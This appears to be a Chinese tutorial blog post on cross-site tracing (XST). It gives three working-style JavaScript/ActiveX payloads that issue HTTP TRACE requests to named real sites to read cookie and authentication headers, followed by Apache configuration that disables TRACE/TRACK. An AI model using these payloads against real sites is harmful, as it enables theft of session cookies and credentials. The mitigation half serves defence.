cross-site tracing XST攻击

XST攻击描述:
攻击者将恶意代码嵌入一台已经被控制的主机上的web文件,当访问者浏览时恶意代码在浏览器中执行,然后访问者的cookie、http基本验证以及ntlm验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致cookie欺骗或者是中间人攻击。

XST攻击条件:
1、需要目标web服务器允许Trace参数;
2、需要一个用来插入XST代码的地方; 
3、目标站点存在跨域漏洞。

XST与XSS的比较:
相同点:都具有很大的欺骗性,可以对受害主机产生危害,而且这种攻击是多平台多技术的,我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击。
优点:可以绕过一般的http验证以及NTLM验证

如何利用:

手法1:
<SCRIPT type=text/java script>
<!--
function xssTRACE(){
var xmlHttp=new ActiveXObject(\"Microsoft.XMLHTTP\");
xmlHttp.open(\"TRACE\",\"http://wmjie.51.net/swords/\",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}

//-->
</SCRIPT>
<BR><INPUT onclick=xssTRACE(); type=button value=\"XSS TRACE\">

手法2:
<SCRIPT type=text/java script>
<!--
function xssTRACE() {
var openWin=open(\"blank.htm\",\"swords\",\"width=500,height=400\");
var otraceswords=openWin.external;
openWin.location.href=\"http://wmjie.51.net/swords/\";
setTimeout(
function () {
//以下必须写在一行
otraceswords.NavigateAndFind('java script:xmlHttp=new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"TRACE\",\"http://wmjie.51.net/swords/\",false);xmlHttp.send();xmlDoc=xmlHttp.responseText;alert(\"不用document.cookie 显示站点wmjie.51.net/swords/ 的头信息。\\n\" + xmlDoc);',\"\",\"\");
},
1024
);
}
//-->
</SCRIPT>
<BR><INPUT onclick=xssTRACE(); type=button value=\"XSS TRACE\">

手法3:
<SCRIPT type=text/java script>
function xssTRACE(){
var swords = \"var xmlHttp = new ActiveXObject(\\"Microsoft.XMLHTTP\\")\;xmlHttp.open(\\"TRACE\\",\\"http://http://www.tingh.com/\\",false)\;xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;alert(xmlDoc)\;\";
var target = \"http://wmjie.51.net/swords/\";
spinach = encodeURIComponent(swords + ';top.close()');
var readyCode = 'font-size:expression(execScript(decodeURIComponent(\"' + spinach + '\")))';
showModalDialog(target, null, readyCode);
}
</SCRIPT>
<BR><INPUT onclick=xssTRACE() type=button value=\"XSS TRACE\">


预防http Trace方法跨站攻击


方法一:

Apache版本大于2.2,在httpd.conf中添加以下一段即可:

TraceEnable off(建议使用的方法,简单明了,唯一需要注意apache的版本)

方法二:

如果一台 Web Server 支持 Trace 和 / 或 Track 方式,那么它一定存在跨站脚本漏洞,将有可能受到跨站攻击。 Trace 和 Track 是用来调试 Web 服务器连接的 HTTP 方式。

我们通常在描述各种浏览器缺陷的时候,把“Cross-Site-Tracing”(跨站攻击)简称为 XST。

攻击者可以利用此漏洞欺骗合法用户并得到他们的私人信息。

解决方案:禁用 Trace 和 / 或 Track 方式。

针对 Apache,可以借助 mod_rewrite 模块来禁止 HTTP Trace 请求。只要在各虚拟主机的配置文件里添加如下语句:

RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* – [F]

需要在安装apache的时候编译mod_rewrite 。

方法三:(未测试)

另外可以这么做:
SetEnvIfNoCase Request_Method ^(TRACE|TRACK) IS_TRACE
<Directory /dir>
Order Allow,Deny
Allow from all
Deny from env=IS_TRACE
</Directory>


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值